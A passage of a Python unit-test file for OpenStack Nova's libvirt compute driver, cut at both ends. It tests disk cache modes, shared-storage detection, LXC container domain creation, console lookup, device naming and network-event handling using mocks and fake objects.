libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) fake_conf = FakeConfigGuestDisk() fake_conf.source_type = 'file' drvr._set_cache_mode(fake_conf) self.assertIsNone(fake_conf.driver_cache) def test_set_cache_mode_invalid_object(self): self.flags(disk_cachemodes=['file=directsync'], group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) fake_conf = FakeConfigGuest() fake_conf.driver_cache = 'fake' drvr._set_cache_mode(fake_conf) self.assertEqual(fake_conf.driver_cache, 'fake') @mock.patch('os.unlink') @mock.patch.object(os.path, 'exists') def _test_shared_storage_detection(self, is_same, mock_exists, mock_unlink): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) drvr.get_host_ip_addr = mock.MagicMock(return_value='bar') mock_exists.return_value = is_same with mock.patch('nova.utils.ssh_execute') as mock_ssh_method: result = drvr._is_storage_shared_with('foo', '/path') mock_ssh_method.assert_any_call('foo', 'touch', mock.ANY) if is_same: mock_unlink.assert_called_once_with(mock.ANY) else: self.assertEqual(2, mock_ssh_method.call_count) mock_ssh_method.assert_called_with('foo', 'rm', mock.ANY) return result def test_shared_storage_detection_same_host(self): self.assertTrue(self._test_shared_storage_detection(True)) def test_shared_storage_detection_different_host(self): self.assertFalse(self._test_shared_storage_detection(False)) def test_shared_storage_detection_easy(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.mox.StubOutWithMock(drvr, 'get_host_ip_addr') self.mox.StubOutWithMock(utils, 'execute') self.mox.StubOutWithMock(os.path, 'exists') self.mox.StubOutWithMock(os, 'unlink') drvr.get_host_ip_addr().AndReturn('foo') self.mox.ReplayAll() self.assertTrue(drvr._is_storage_shared_with('foo', '/path')) def test_store_pid_remove_pid(self): instance = objects.Instance(**self.test_instance) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) popen = mock.Mock(pid=3) drvr.job_tracker.add_job(instance, popen.pid) self.assertIn(3, drvr.job_tracker.jobs[instance.uuid]) drvr.job_tracker.remove_job(instance, popen.pid) self.assertNotIn(instance.uuid, drvr.job_tracker.jobs) @mock.patch('nova.virt.libvirt.host.Host.get_domain') def test_get_domain_info_with_more_return(self, mock_get_domain): instance = objects.Instance(**self.test_instance) dom_mock = mock.MagicMock() dom_mock.info.return_value = [ 1, 2048, 737, 8, 12345, 888888 ] dom_mock.ID.return_value = mock.sentinel.instance_id mock_get_domain.return_value = dom_mock drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) info = drvr.get_info(instance) self.assertEqual(1, info.state) self.assertEqual(2048, info.max_mem_kb) self.assertEqual(737, info.mem_kb) self.assertEqual(8, info.num_cpu) self.assertEqual(12345, info.cpu_time_ns) self.assertEqual(mock.sentinel.instance_id, info.id) dom_mock.info.assert_called_once_with() dom_mock.ID.assert_called_once_with() mock_get_domain.assert_called_once_with(instance) def test_create_domain(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) mock_domain = mock.MagicMock() guest = drvr._create_domain(domain=mock_domain) self.assertEqual(mock_domain, guest._domain) mock_domain.createWithFlags.assert_has_calls([mock.call(0)]) @mock.patch('nova.virt.disk.api.clean_lxc_namespace') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver.get_info') @mock.patch('nova.virt.disk.api.setup_container') @mock.patch('oslo_utils.fileutils.ensure_tree') @mock.patch.object(fake_libvirt_utils, 'get_instance_path') def test_create_domain_lxc(self, mock_get_inst_path, mock_ensure_tree, mock_setup_container, mock_get_info, mock_clean): self.flags(virt_type='lxc', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) mock_instance = mock.MagicMock() inst_sys_meta = dict() mock_instance.system_metadata = inst_sys_meta mock_get_inst_path.return_value = '/tmp/' mock_image_backend = mock.MagicMock() drvr.image_backend = mock_image_backend mock_image = mock.MagicMock() mock_image.path = '/tmp/test.img' drvr.image_backend.image.return_value = mock_image mock_setup_container.return_value = '/dev/nbd0' mock_get_info.return_value = hardware.InstanceInfo( state=power_state.RUNNING) with contextlib.nested( mock.patch.object(drvr, '_create_images_and_backing'), mock.patch.object(drvr, '_is_booted_from_volume', return_value=False), mock.patch.object(drvr, '_create_domain'), mock.patch.object(drvr, 'plug_vifs'), mock.patch.object(drvr.firewall_driver, 'setup_basic_filtering'), mock.patch.object(drvr.firewall_driver, 'prepare_instance_filter'), mock.patch.object(drvr.firewall_driver, 'apply_instance_filter')): drvr._create_domain_and_network(self.context, 'xml', mock_instance, [], None) self.assertEqual('/dev/nbd0', inst_sys_meta['rootfs_device_name']) self.assertFalse(mock_instance.called) mock_get_inst_path.assert_has_calls([mock.call(mock_instance)]) mock_ensure_tree.assert_has_calls([mock.call('/tmp/rootfs')]) drvr.image_backend.image.assert_has_calls([mock.call(mock_instance, 'disk')]) fmt = imgmodel.FORMAT_RAW if CONF.use_cow_images: fmt = imgmodel.FORMAT_QCOW2 setup_container_call = mock.call( imgmodel.LocalFileImage('/tmp/test.img', fmt), container_dir='/tmp/rootfs') mock_setup_container.assert_has_calls([setup_container_call]) mock_get_info.assert_has_calls([mock.call(mock_instance)]) mock_clean.assert_has_calls([mock.call(container_dir='/tmp/rootfs')]) @mock.patch('nova.virt.disk.api.clean_lxc_namespace') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver.get_info') @mock.patch.object(fake_libvirt_utils, 'chown_for_id_maps') @mock.patch('nova.virt.disk.api.setup_container') @mock.patch('oslo_utils.fileutils.ensure_tree') @mock.patch.object(fake_libvirt_utils, 'get_instance_path') def test_create_domain_lxc_id_maps(self, mock_get_inst_path, mock_ensure_tree, mock_setup_container, mock_chown, mock_get_info, mock_clean): self.flags(virt_type='lxc', uid_maps=["0:1000:100"], gid_maps=["0:1000:100"], group='libvirt') def chown_side_effect(path, id_maps): self.assertEqual('/tmp/rootfs', path) self.assertIsInstance(id_maps[0], vconfig.LibvirtConfigGuestUIDMap) self.assertEqual(0, id_maps[0].start) self.assertEqual(1000, id_maps[0].target) self.assertEqual(100, id_maps[0].count) self.assertIsInstance(id_maps[1], vconfig.LibvirtConfigGuestGIDMap) self.assertEqual(0, id_maps[1].start) self.assertEqual(1000, id_maps[1].target) self.assertEqual(100, id_maps[1].count) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) mock_instance = mock.MagicMock() inst_sys_meta = dict() mock_instance.system_metadata = inst_sys_meta mock_get_inst_path.return_value = '/tmp/' mock_image_backend = mock.MagicMock() drvr.image_backend = mock_image_backend mock_image = mock.MagicMock() mock_image.path = '/tmp/test.img' drvr.image_backend.image.return_value = mock_image mock_setup_container.return_value = '/dev/nbd0' mock_chown.side_effect = chown_side_effect mock_get_info.return_value = hardware.InstanceInfo( state=power_state.RUNNING) with contextlib.nested( mock.patch.object(drvr, '_create_images_and_backing'), mock.patch.object(drvr, '_is_booted_from_volume', return_value=False), mock.patch.object(drvr, '_create_domain'), mock.patch.object(drvr, 'plug_vifs'), mock.patch.object(drvr.firewall_driver, 'setup_basic_filtering'), mock.patch.object(drvr.firewall_driver, 'prepare_instance_filter'), mock.patch.object(drvr.firewall_driver, 'apply_instance_filter')): drvr._create_domain_and_network(self.context, 'xml', mock_instance, [], None) self.assertEqual('/dev/nbd0', inst_sys_meta['rootfs_device_name']) self.assertFalse(mock_instance.called) mock_get_inst_path.assert_has_calls([mock.call(mock_instance)]) mock_ensure_tree.assert_has_calls([mock.call('/tmp/rootfs')]) drvr.image_backend.image.assert_has_calls([mock.call(mock_instance, 'disk')]) fmt = imgmodel.FORMAT_RAW if CONF.use_cow_images: fmt = imgmodel.FORMAT_QCOW2 setup_container_call = mock.call( imgmodel.LocalFileImage('/tmp/test.img', fmt), container_dir='/tmp/rootfs') mock_setup_container.assert_has_calls([setup_container_call]) mock_get_info.assert_has_calls([mock.call(mock_instance)]) mock_clean.assert_has_calls([mock.call(container_dir='/tmp/rootfs')]) @mock.patch('nova.virt.disk.api.teardown_container') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver.get_info') @mock.patch('nova.virt.disk.api.setup_container') @mock.patch('oslo_utils.fileutils.ensure_tree') @mock.patch.object(fake_libvirt_utils, 'get_instance_path') def test_create_domain_lxc_not_running(self, mock_get_inst_path, mock_ensure_tree, mock_setup_container, mock_get_info, mock_teardown): self.flags(virt_type='lxc', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) mock_instance = mock.MagicMock() inst_sys_meta = dict() mock_instance.system_metadata = inst_sys_meta mock_get_inst_path.return_value = '/tmp/' mock_image_backend = mock.MagicMock() drvr.image_backend = mock_image_backend mock_image = mock.MagicMock() mock_image.path = '/tmp/test.img' drvr.image_backend.image.return_value = mock_image mock_setup_container.return_value = '/dev/nbd0' mock_get_info.return_value = hardware.InstanceInfo( state=power_state.SHUTDOWN) with contextlib.nested( mock.patch.object(drvr, '_create_images_and_backing'), mock.patch.object(drvr, '_is_booted_from_volume', return_value=False), mock.patch.object(drvr, '_create_domain'), mock.patch.object(drvr, 'plug_vifs'), mock.patch.object(drvr.firewall_driver, 'setup_basic_filtering'), mock.patch.object(drvr.firewall_driver, 'prepare_instance_filter'), mock.patch.object(drvr.firewall_driver, 'apply_instance_filter')): drvr._create_domain_and_network(self.context, 'xml', mock_instance, [], None) self.assertEqual('/dev/nbd0', inst_sys_meta['rootfs_device_name']) self.assertFalse(mock_instance.called) mock_get_inst_path.assert_has_calls([mock.call(mock_instance)]) mock_ensure_tree.assert_has_calls([mock.call('/tmp/rootfs')]) drvr.image_backend.image.assert_has_calls([mock.call(mock_instance, 'disk')]) fmt = imgmodel.FORMAT_RAW if CONF.use_cow_images: fmt = imgmodel.FORMAT_QCOW2 setup_container_call = mock.call( imgmodel.LocalFileImage('/tmp/test.img', fmt), container_dir='/tmp/rootfs') mock_setup_container.assert_has_calls([setup_container_call]) mock_get_info.assert_has_calls([mock.call(mock_instance)]) teardown_call = mock.call(container_dir='/tmp/rootfs') mock_teardown.assert_has_calls([teardown_call]) def test_create_domain_define_xml_fails(self): """Tests that the xml is logged when defining the domain fails.""" fake_xml = "<test>this is a test</test>" def fake_defineXML(xml): self.assertEqual(fake_xml, xml) raise fakelibvirt.libvirtError('virDomainDefineXML() failed') def fake_safe_decode(text, *args, **kwargs): return text + 'safe decoded' self.log_error_called = False def fake_error(msg, *args, **kwargs): self.log_error_called = True self.assertIn(fake_xml, msg % args) self.assertIn('safe decoded', msg % args) self.stubs.Set(encodeutils, 'safe_decode', fake_safe_decode) self.stubs.Set(nova.virt.libvirt.guest.LOG, 'error', fake_error) self.create_fake_libvirt_mock(defineXML=fake_defineXML) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.assertRaises(fakelibvirt.libvirtError, drvr._create_domain, fake_xml) self.assertTrue(self.log_error_called) def test_create_domain_with_flags_fails(self): """Tests that the xml is logged when creating the domain with flags fails """ fake_xml = "<test>this is a test</test>" fake_domain = FakeVirtDomain(fake_xml) def fake_createWithFlags(launch_flags): raise fakelibvirt.libvirtError('virDomainCreateWithFlags() failed') self.log_error_called = False def fake_error(msg, *args, **kwargs): self.log_error_called = True self.assertIn(fake_xml, msg % args) self.stubs.Set(fake_domain, 'createWithFlags', fake_createWithFlags) self.stubs.Set(nova.virt.libvirt.guest.LOG, 'error', fake_error) self.create_fake_libvirt_mock() self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.assertRaises(fakelibvirt.libvirtError, drvr._create_domain, domain=fake_domain) self.assertTrue(self.log_error_called) def test_create_domain_enable_hairpin_fails(self): """Tests that the xml is logged when enabling hairpin mode for the domain fails. """ fake_xml = "<test>this is a test</test>" fake_domain = FakeVirtDomain(fake_xml) def fake_execute(*args, **kwargs): raise processutils.ProcessExecutionError('error') def fake_get_interfaces(*args): return ["dev"] self.log_error_called = False def fake_error(msg, *args, **kwargs): self.log_error_called = True self.assertIn(fake_xml, msg % args) self.stubs.Set(nova.virt.libvirt.guest.LOG, 'error', fake_error) self.create_fake_libvirt_mock() self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) self.stubs.Set(nova.utils, 'execute', fake_execute) self.stubs.Set( nova.virt.libvirt.guest.Guest, 'get_interfaces', fake_get_interfaces) self.assertRaises(processutils.ProcessExecutionError, drvr._create_domain, domain=fake_domain, power_on=False) self.assertTrue(self.log_error_called) def test_get_vnc_console(self): instance = objects.Instance(**self.test_instance) dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices>" "<graphics type='vnc' port='5900'/>" "</devices></domain>") vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "XMLDesc") vdmock.XMLDesc(flags=0).AndReturn(dummyxml) def fake_lookup(instance_name): if instance_name == instance['name']: return vdmock self.create_fake_libvirt_mock(lookupByName=fake_lookup) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) vnc_dict = drvr.get_vnc_console(self.context, instance) self.assertEqual(vnc_dict.port, '5900') def test_get_vnc_console_unavailable(self): instance = objects.Instance(**self.test_instance) dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices></devices></domain>") vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "XMLDesc") vdmock.XMLDesc(flags=0).AndReturn(dummyxml) def fake_lookup(instance_name): if instance_name == instance['name']: return vdmock self.create_fake_libvirt_mock(lookupByName=fake_lookup) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.ConsoleTypeUnavailable, drvr.get_vnc_console, self.context, instance) def test_get_spice_console(self): instance = objects.Instance(**self.test_instance) dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices>" "<graphics type='spice' port='5950'/>" "</devices></domain>") vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "XMLDesc") vdmock.XMLDesc(flags=0).AndReturn(dummyxml) def fake_lookup(instance_name): if instance_name == instance['name']: return vdmock self.create_fake_libvirt_mock(lookupByName=fake_lookup) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) spice_dict = drvr.get_spice_console(self.context, instance) self.assertEqual(spice_dict.port, '5950') def test_get_spice_console_unavailable(self): instance = objects.Instance(**self.test_instance) dummyxml = ("<domain type='kvm'><name>instance-0000000a</name>" "<devices></devices></domain>") vdmock = self.mox.CreateMock(fakelibvirt.virDomain) self.mox.StubOutWithMock(vdmock, "XMLDesc") vdmock.XMLDesc(flags=0).AndReturn(dummyxml) def fake_lookup(instance_name): if instance_name == instance['name']: return vdmock self.create_fake_libvirt_mock(lookupByName=fake_lookup) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertRaises(exception.ConsoleTypeUnavailable, drvr.get_spice_console, self.context, instance) def test_detach_volume_with_instance_not_found(self): # Test that detach_volume() method does not raise exception, # if the instance does not exist. instance = objects.Instance(**self.test_instance) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) with contextlib.nested( mock.patch.object(host.Host, 'get_domain', side_effect=exception.InstanceNotFound( instance_id=instance.name)), mock.patch.object(drvr, '_disconnect_volume') ) as (_get_domain, _disconnect_volume): connection_info = {'driver_volume_type': 'fake'} drvr.detach_volume(connection_info, instance, '/dev/sda') _get_domain.assert_called_once_with(instance) _disconnect_volume.assert_called_once_with(connection_info, 'sda') def _test_attach_detach_interface_get_config(self, method_name): """Tests that the get_config() method is properly called in attach_interface() and detach_interface(). method_name: either \"attach_interface\" or \"detach_interface\" depending on the method to test. """ self.stubs.Set(host.Host, "get_domain", lambda a, b: FakeVirtDomain()) instance = objects.Instance(**self.test_instance) network_info = _fake_network_info(self.stubs, 1) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) if method_name == "attach_interface": fake_image_meta = {'id': instance['image_ref']} elif method_name == "detach_interface": fake_image_meta = None else: raise ValueError("Unhandled method %s" % method_name) if method_name == "attach_interface": self.mox.StubOutWithMock(drvr.firewall_driver, 'setup_basic_filtering') drvr.firewall_driver.setup_basic_filtering(instance, network_info) expected = drvr.vif_driver.get_config(instance, network_info[0], fake_image_meta, instance.get_flavor(), CONF.libvirt.virt_type) self.mox.StubOutWithMock(drvr.vif_driver, 'get_config') drvr.vif_driver.get_config(instance, network_info[0], fake_image_meta, mox.IsA(objects.Flavor), CONF.libvirt.virt_type).\ AndReturn(expected) self.mox.ReplayAll() if method_name == "attach_interface": drvr.attach_interface(instance, fake_image_meta, network_info[0]) elif method_name == "detach_interface": drvr.detach_interface(instance, network_info[0]) else: raise ValueError("Unhandled method %s" % method_name) @mock.patch.object(lockutils, "external_lock") def test_attach_interface_get_config(self, mock_lock): """Tests that the get_config() method is properly called in attach_interface(). """ mock_lock.return_value = threading.Semaphore() self._test_attach_detach_interface_get_config("attach_interface") def test_detach_interface_get_config(self): """Tests that the get_config() method is properly called in detach_interface(). """ self._test_attach_detach_interface_get_config("detach_interface") def test_default_root_device_name(self): instance = {'uuid': 'fake_instance'} image_meta = {'id': 'fake'} root_bdm = {'source_type': 'image', 'detination_type': 'volume', 'image_id': 'fake_id'} self.flags(virt_type='fake_libvirt_type', group='libvirt') self.mox.StubOutWithMock(blockinfo, 'get_disk_bus_for_device_type') self.mox.StubOutWithMock(blockinfo, 'get_root_info') blockinfo.get_disk_bus_for_device_type('fake_libvirt_type', image_meta, 'disk').InAnyOrder().\ AndReturn('virtio') blockinfo.get_disk_bus_for_device_type('fake_libvirt_type', image_meta, 'cdrom').InAnyOrder().\ AndReturn('ide') blockinfo.get_root_info('fake_libvirt_type', image_meta, root_bdm, 'virtio', 'ide').AndReturn({'dev': 'vda'}) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.assertEqual(drvr.default_root_device_name(instance, image_meta, root_bdm), '/dev/vda') @mock.patch.object(utils, "get_image_from_system_metadata") @mock.patch.object(objects.BlockDeviceMapping, "save") def test_default_device_names_for_instance(self, save_mock, mock_meta): instance = objects.Instance(**self.test_instance) image_meta = {} instance.root_device_name = '/dev/vda' ephemerals = [objects.BlockDeviceMapping( **fake_block_device.AnonFakeDbBlockDeviceDict( {'device_name': 'vdb', 'source_type': 'blank', 'volume_size': 2, 'destination_type': 'local'}))] swap = [objects.BlockDeviceMapping( **fake_block_device.AnonFakeDbBlockDeviceDict( {'device_name': 'vdg', 'source_type': 'blank', 'volume_size': 512, 'guest_format': 'swap', 'destination_type': 'local'}))] block_device_mapping = [ objects.BlockDeviceMapping( **fake_block_device.AnonFakeDbBlockDeviceDict( {'source_type': 'volume', 'destination_type': 'volume', 'volume_id': 'fake-image-id', 'device_name': '/dev/vdxx', 'disk_bus': 'scsi'}))] mock_meta.return_value = image_meta drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) drvr.default_device_names_for_instance(instance, instance.root_device_name, ephemerals, swap, block_device_mapping) # Ephemeral device name was correct so no changes self.assertEqual('/dev/vdb', ephemerals[0].device_name) # Swap device name was incorrect so it was changed self.assertEqual('/dev/vdc', swap[0].device_name) # Volume device name was changed too, taking the bus into account self.assertEqual('/dev/sda', block_device_mapping[0].device_name) self.assertEqual(3, save_mock.call_count) def _test_get_device_name_for_instance(self, new_bdm, expected_dev): instance = objects.Instance(**self.test_instance) instance.root_device_name = '/dev/vda' instance.ephemeral_gb = 0 drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) got_dev = drvr.get_device_name_for_instance( instance, [], new_bdm) self.assertEqual(expected_dev, got_dev) def test_get_device_name_for_instance_simple(self): new_bdm = objects.BlockDeviceMapping( context=context, source_type='volume', destination_type='volume', boot_index=-1, volume_id='fake-id', device_name=None, guest_format=None, disk_bus=None, device_type=None) self._test_get_device_name_for_instance(new_bdm, '/dev/vdb') def test_get_device_name_for_instance_suggested(self): new_bdm = objects.BlockDeviceMapping( context=context, source_type='volume', destination_type='volume', boot_index=-1, volume_id='fake-id', device_name='/dev/vdg', guest_format=None, disk_bus=None, device_type=None) self._test_get_device_name_for_instance(new_bdm, '/dev/vdb') def test_get_device_name_for_instance_bus(self): new_bdm = objects.BlockDeviceMapping( context=context, source_type='volume', destination_type='volume', boot_index=-1, volume_id='fake-id', device_name=None, guest_format=None, disk_bus='scsi', device_type=None) self._test_get_device_name_for_instance(new_bdm, '/dev/sda') def test_get_device_name_for_instance_device_type(self): new_bdm = objects.BlockDeviceMapping( context=context, source_type='volume', destination_type='volume', boot_index=-1, volume_id='fake-id', device_name=None, guest_format=None, disk_bus=None, device_type='floppy') self._test_get_device_name_for_instance(new_bdm, '/dev/fda') def test_is_supported_fs_format(self): supported_fs = [disk.FS_FORMAT_EXT2, disk.FS_FORMAT_EXT3, disk.FS_FORMAT_EXT4, disk.FS_FORMAT_XFS] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) for fs in supported_fs: self.assertTrue(drvr.is_supported_fs_format(fs)) supported_fs = ['', 'dummy'] drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) for fs in supported_fs: self.assertFalse(drvr.is_supported_fs_format(fs)) def test_post_live_migration_at_destination_with_block_device_info(self): # Preparing mocks mock_domain = self.mox.CreateMock(fakelibvirt.virDomain) self.resultXML = None def fake_getLibVersion(): return 9011 def fake_getCapabilities(): return """ <capabilities> <host> <uuid>cef19ce0-0ca2-11df-855d-b19fbce37686</uuid> <cpu> <arch>x86_64</arch> <model>Penryn</model> <vendor>Intel</vendor> <topology sockets='1' cores='2' threads='1'/> <feature name='xtpr'/> </cpu> </host> </capabilities> """ def fake_to_xml(context, instance, network_info, disk_info, image_meta=None, rescue=None, block_device_info=None, write_to_disk=False): if image_meta is None: image_meta = {} conf = drvr._get_guest_config(instance, network_info, image_meta, disk_info, rescue, block_device_info) self.resultXML = conf.to_xml() return self.resultXML def fake_get_domain(instance): return mock_domain def fake_baselineCPU(cpu, flag): return """<cpu mode='custom' match='exact'> <model fallback='allow'>Westmere</model> <vendor>Intel</vendor> <feature policy='require' name='aes'/> </cpu> """ network_info = _fake_network_info(self.stubs, 1) self.create_fake_libvirt_mock(getLibVersion=fake_getLibVersion, getCapabilities=fake_getCapabilities, getVersion=lambda: 1005001, listDefinedDomains=lambda: [], numOfDomains=lambda: 0, baselineCPU=fake_baselineCPU) instance_ref = self.test_instance instance_ref['image_ref'] = 123456 # we send an int to test sha1 call instance = objects.Instance(**instance_ref) self.mox.ReplayAll() drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) self.stubs.Set(drvr, '_get_guest_xml', fake_to_xml) self.stubs.Set(host.Host, 'get_domain', fake_get_domain) block_device_info = {'block_device_mapping': driver_block_device.convert_volumes([ fake_block_device.FakeDbBlockDeviceDict( {'id': 1, 'guest_format': None, 'boot_index': 0, 'source_type': 'volume', 'destination_type': 'volume', 'device_name': '/dev/vda', 'disk_bus': 'virtio', 'device_type': 'disk', 'delete_on_termination': False}), ])} block_device_info['block_device_mapping'][0]['connection_info'] = ( {'driver_volume_type': 'iscsi'}) with contextlib.nested( mock.patch.object( driver_block_device.DriverVolumeBlockDevice, 'save'), mock.patch.object(objects.Instance, 'save') ) as (mock_volume_save, mock_instance_save): drvr.post_live_migration_at_destination( self.context, instance, network_info, True, block_device_info=block_device_info) self.assertIn('fake', self.resultXML) mock_volume_save.assert_called_once_with() def test_create_propagates_exceptions(self): self.flags(virt_type='lxc', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(id=1, uuid='fake-uuid', image_ref='my_fake_image') with contextlib.nested( mock.patch.object(drvr, '_create_domain_setup_lxc'), mock.patch.object(drvr, '_create_domain_cleanup_lxc'), mock.patch.object(drvr, '_is_booted_from_volume', return_value=False), mock.patch.object(drvr, 'plug_vifs'), mock.patch.object(drvr, 'firewall_driver'), mock.patch.object(drvr, '_create_domain', side_effect=exception.NovaException), mock.patch.object(drvr, 'cleanup')): self.assertRaises(exception.NovaException, drvr._create_domain_and_network, self.context, 'xml', instance, None, None) def test_create_without_pause(self): self.flags(virt_type='lxc', group='libvirt') @contextlib.contextmanager def fake_lxc_disk_handler(*args, **kwargs): yield drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) with contextlib.nested( mock.patch.object(drvr, '_lxc_disk_handler', side_effect=fake_lxc_disk_handler), mock.patch.object(drvr, 'plug_vifs'), mock.patch.object(drvr, 'firewall_driver'), mock.patch.object(drvr, '_create_domain'), mock.patch.object(drvr, 'cleanup')) as ( _handler, cleanup, firewall_driver, create, plug_vifs): domain = drvr._create_domain_and_network(self.context, 'xml', instance, None, None) self.assertEqual(0, create.call_args_list[0][1]['pause']) self.assertEqual(0, domain.resume.call_count) def _test_create_with_network_events(self, neutron_failure=None, power_on=True): generated_events = [] def wait_timeout(): event = mock.MagicMock() if neutron_failure == 'timeout': raise eventlet.timeout.Timeout() elif neutron_failure == 'error': event.status = 'failed' else: event.status = 'completed' return event def fake_prepare(instance, event_name): m = mock.MagicMock() m.instance = instance m.event_name = event_name m.wait.side_effect = wait_timeout generated_events.append(m) return m virtapi = manager.ComputeVirtAPI(mock.MagicMock()) prepare = virtapi._compute.instance_events.prepare_for_instance_event prepare.side_effect = fake_prepare drvr = libvirt_driver.LibvirtDriver(virtapi, False) instance = objects.Instance(**self.test_instance) vifs = [{'id': 'vif1', 'active': False}, {'id': 'vif2', 'active': False}] @mock.patch.object(drvr, 'plug_vifs') @mock.patch.object(drvr, 'firewall_driver') @mock.patch.object(drvr, '_create_domain') @mock.patch.object(drvr, 'cleanup') def test_create(cleanup, create, fw_driver, plug_vifs): domain = drvr._create_domain_and_network(self.context, 'xml', instance, vifs, None, power_on=power_on) plug_vifs.assert_called_with(instance, vifs) pause = self._get_pause_flag(drvr, vifs, power_on=power_on) self.assertEqual(pause, create.call_args_list[0][1]['pause']) if pause: domain.resume.assert_called_once_with() if neutron_failure and CONF.vif_plugging_is_fatal: cleanup.assert_called_once_with(self.context, instance, network_info=vifs, block_device_info=None) test_create() if utils.is_neutron() and CONF.vif_plugging_timeout and power_on: prepare.assert_has_calls([ mock.call(instance, 'network-vif-plugged-vif1'), mock.call(instance, 'network-vif-plugged-vif2')]) for event in generated_events: if neutron_failure and generated_events.index(event) != 0: self.assertEqual(0, event.call_count) elif (neutron_failure == 'error' and not CONF.vif_plugging_is_fatal): event.wait.assert_called_once_with() else: self.assertEqual(0, prepare.call_count) @mock.patch('nova.utils.is_neutron', return_value=True) def test_create_with_network_events_neutron(self, is_neutron): self._test_create_with_network_events() @mock.patch('nova.utils.is_neutron', return_value=True) def test_create_with_network_events_neutron_power_off(self, is_neutron): # Tests that we don't wait for events if we don't start the instance. self._test_create_with_network_events(power_on=False) @mock.patch('nova.utils.is_neutron', return_value=True) def test_create_with_network_events_neutron_nowait(self, is_neutron): self.flags(vif_plugging_timeout=0) self._test_create_with_network_events() @mock.patch('nova.utils.is_neutron', return_value=True) def test_create_with_network_events_neutron_failed_nonfatal_timeout( self, is_neutron): self.flags(vif_plugging_is_fatal=False) self._test_create_with_network_events(neutron_failure='timeout') @mock.patch('nova.utils.is_neutron', return_value=True) def test_create_with_network_events_neutron_failed_fatal_timeout( self, is_neutron): self.assertRaises(exception.VirtualInterfaceCreateException, self._test_create_with_network_events, neutron_failure='timeout') @mock.patch('nova.utils.is_neutron', return_value=True) def test_create_with_network_events_neutron_failed_nonfatal_error( self, is_neutron): self.flags(vif_plugging_is_fatal=False) self._test_create_with_network_events(neutron_failure='error') @mock.patch('nova.utils.is_neutron', return_value=True) def test_create_with_network_events_neutron_failed_fatal_error( self, is_neutron): self.assertRaises(exception.VirtualInterfaceCreateException, self._test_create_with_network_events, neutron_failure='error') @mock.patch('nova.utils.is_neutron', return_value=False) def test_create_with_network_events_non_neutron(self, is_neutron): self._test_create_with_network_events() @mock.patch('nova.volume.encryptors.get_encryption_metadata') @mock.patch('nova.virt.libvirt.blockinfo.get_info_from_bdm') def test_create_with_bdm(self, get_info_from_bdm, get_encryption_metadata): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instance = objects.Instance(**self.test_instance) mock_dom = mock.MagicMock() mock_encryption_meta = mock.MagicMock() get_encryption_metadata.return_value = mock_encryption_meta fake_xml = """ <domain> <name>instance-00000001</name> <memory>1048576</memory> <vcpu>1</vcpu> <devices> <disk type='file' device='disk'> <driver name='qemu' type='raw' cache='none'/> <source file='/path/fake-volume1'/> <target dev='vda' bus='virtio'/> </disk> </devices> </domain> """ fake_volume_id = "fake-volume-id" connection_info = {"driver_volume_type": "fake", "data": {"access_mode": "rw", "volume_id": fake_volume_id}} def fake_getitem(*args, **kwargs): fake_bdm = {'connection_info': connection_info, 'mount_device': '/dev/vda'} return fake_bdm.get(args[0]) mock_volume = mock.MagicMock() mock_volume.__getitem__.side_effect = fake_getitem block_device_info = {'block_device_mapping': [mock_volume]} network_info = [network_model.VIF(id='1'), network_model.VIF(id='2', active=True)] with contextlib.nested( mock.patch.object(drvr, '_get_volume_encryptor'), mock.patch.object(drvr, 'plug_vifs'), mock.patch.object(drvr.firewall_driver, 'setup_basic_filtering'), mock.patch.object(drvr.firewall_driver, 'prepare_instance_filter'), mock.patch.object(drvr, '_create_domain'), mock.patch.object(drvr.firewall_driver, 'apply_instance_filter'), ) as (get_volume_encryptor, plug_vifs, setup_basic_filtering, prepare_instance_filter, create_domain, apply_instance_filter): create_domain.return_value = 